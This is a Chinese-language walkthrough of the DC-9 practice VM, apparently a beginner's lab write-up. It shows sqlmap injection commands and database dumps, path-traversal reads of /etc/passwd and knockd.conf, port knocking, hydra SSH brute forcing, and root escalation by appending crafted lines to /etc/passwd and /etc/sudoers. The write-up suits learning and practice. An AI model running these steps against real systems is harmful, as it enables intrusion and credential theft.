信息收集
主机扫描
开启靶机,ping一下存活主机
┌──(root㉿kali)-[/home/kali]
└─# nmap -sP 192.168.238.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-01 02:48 EST
Nmap scan report for bogon (192.168.238.52)
Host is up (0.0012s latency).
MAC Address: 08:00:27:7C:B1:D8 (Oracle VirtualBox virtual NIC)
靶机ip192.168.238.52
端口扫描
nmap -A 192.168.238.52
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
发现22端口是被过滤状态,不确定是否开启
目录扫描
接着扫描一下目录,没有什么信息
dirsearch -u http://192.168.238.52/
漏洞发现和利用
打开web页面,用万能密码发现可以返回所有信息,判断有sql注入点
bp抓包,发现是search
参数,直接用sqlmap跑
sqlmap -u http://192.168.238.52/results.php --data "search=1"
查看数据库
sqlmap -u http://192.168.238.52/results.php --data "search=1" --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
先看一下users库
sqlmap -u http://192.168.238.52/results.php --data "search=1" -D users --tables
sqlmap -u http://192.168.238.52/results.php --data "search=1" -D users -T UserDetails --columns
sqlmap -u http://192.168.238.52/results.php --data "search=1" -D users -T UserDetails -C username,password --dump
得到了一些用户名和密码,保存到users.txt
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
将用户名和密码,分别保存到两个文件中
cat users.txt | awk -F'[| ]+' '{print $2}' > user.txt
cat users.txt | awk -F'[| ]+' '{print $3}' > pass.txt
接着再去看Staff库
sqlmap -u http://192.168.238.52/results.php --data "search=1" -D Staff --tables
sqlmap -u http://192.168.238.52/results.php --data "search=1" -D Staff -T Users --columns
sqlmap -u http://192.168.238.52/results.php --data "search=1" -D Staff -T Users -C Username,Password --dump
登录后台
得到了用户名,密码,这个看着像后台的登录账号
+----------+----------------------------------+
| Username | Password |
+----------+----------------------------------+
| admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+----------+----------------------------------+
密码进行md5解密得到,
transorbital1
尝试登录后台
文件包含
发现页面下面提示文件不存在,猜测可能有文件包含漏洞
盲猜?file=
可以尝试多加几个../在前面
成功包含出passwd文件
发现这里的用户名和我们从数据库users得到的用户名,有一样的,可以进行ssh爆破
但22端口是过滤状态,猜测可能有knockd服务,读取一下knockd的配置文件
?file=../../../../etc/knockd.conf
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 这里我们需要访问这三个端口,才能开启ssh
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 同样,要关闭ssh,需要返回这三个端口(就是上面端口的反序)
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
SSH端口敲门
在kali中我们可以使用knockd命令进行访问端口
knock 192.168.238.52 7469 8475 9842
也可以使用nc命令访问
nc 192.168.238.52 7469
nc 192.168.238.52 8475
nc 192.168.238.52 9842
这样22端口就open了
爆破SSH账户
接着就开始爆破ssh
hydra -L user.txt -P pass.txt ssh://192.168.238.52
[22][ssh] host: 192.168.238.52 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.238.52 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.238.52 login: janitor password: Ilovepeepee
这里前两个用户里都没有东西,我就直接登第三个账号
ssh janitor@192.168.238.52
janitor@dc-9:~$ ls -al
total 16
drwx------ 4 janitor janitor 4096 Mar 1 18:34 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Mar 1 18:34 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls -al
total 12
drwx------ 2 janitor janitor 4096 Dec 29 2019 .
drwx------ 4 janitor janitor 4096 Mar 1 18:34 ..
-rwx------ 1 janitor janitor 66 Dec 29 2019 passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
又发现了一些密码,复制到pass.txt,再次爆破看看,命令同上
发现了一个新的用户
[22][ssh] host: 192.168.238.52 login: fredf password: B4-Tru3-001
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
发现有一个test文件
在上上级有test.py文件
fredf@dc-9:/opt/devstuff$ ls
build dist __pycache__ test.py test.spec
内容
#!/usr/bin/python
import sys
if len (sys.argv) != 3 : # 参数个数
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # argv[1]就是第一个参数
output = (f.read())
f = open(sys.argv[2], "a") # argv[2]就是第二个参数
f.write(output)
f.close()
argv[0]就是脚本自己
提权
我们可以创建一个用户,再将用户写进passwd文件
root的passwd格式
passwd的格式: [⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
root:x:0:0:root:/root:/bin/bash
用openssl生成hash密码
openssl passwd -1 -salt co 123456
该命令是使用 OpenSSL 工具生成一个密码的哈希值。
openssl:是一个开源的加密工具集,提供了多种密码学功能。 passwd:是 OpenSSL 工具集中的一个子命令,用于生成密码的哈希值。 -1:这是一个选项,表示使用的是 MD5 哈希算法。MD5 为过时的哈希算法,不推荐在生产环境中使用。 -salt co:这也是一个选项,指定了加盐的字符串。盐(salt)是为了增加密码哈希的复杂度和安全性而添加的随机字符串。这里的盐是"co"。
-salt:产生一个随机数,并与-k指定的password串联,然后计算其Hash值来防御字典攻击和rainbow table攻击。
123456:这是要进行哈希的原始密码。
根据passwd格式,写出
co:$1$co$5eSY9siNSJ4oyan/wF6j50:0:0::/root:/bin/bash
写进/tmp/1
fredf@dc-9:/opt/devstuff$ cat /tmp/1
co:$1$co$5eSY9siNSJ4oyan/wF6j50:0:0::/root:/bin/bash
利用test文件追加到passwd文件
fredf@dc-9:/opt/devstuff$ sudo /opt/devstuff/dist/test/test /tmp/1 /etc/passwd
fredf@dc-9:/opt/devstuff$ su - co
Password:
root@dc-9:~# ls
theflag.txt
另一种提权方式,利用/etc/sudoers文件,同样可以
授权文件(sudoers) 用途原理
sudo是给普通的用户使用让其可以执行特权命令,普通用户使用之前需要先配置授权文件。 sudo命令的运行,需经历如下几步: 运行 sudo 命令,会先通过 /etc/sudoers 文件,验证该用户是否有运行 sudo 的权限; 确定用户具有使用 sudo 命令的权限后,用户输入自己的密码进行确认。 密码输入成功后,会执行 sudo 命令后面的命令。
查看kali的sudoers文件,它是这样的格式
root ALL=(ALL:ALL) ALL
构造当前用户的命令
fredf ALL=(ALL:ALL) ALL
fredf@dc-9:~$ cat /tmp/2
fredf ALL=(ALL:ALL) ALL
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test /tmp/2 /etc/sudoers
fredf@dc-9:~$ sudo su -
[sudo] password for fredf:
root@dc-9:~# ls
theflag.txt
总结
这是我的第一个靶机,基本流程还不太熟练
不知道/etc下的许多配置文件,得学习学习
这个靶机的一些知识点:
sql注入点,knockd服务,文件包含,passwd文件提权,sudoers文件提权,openssl命令的使用
su -
切换用户,并切换环境变量
sudo su -
当前用户提权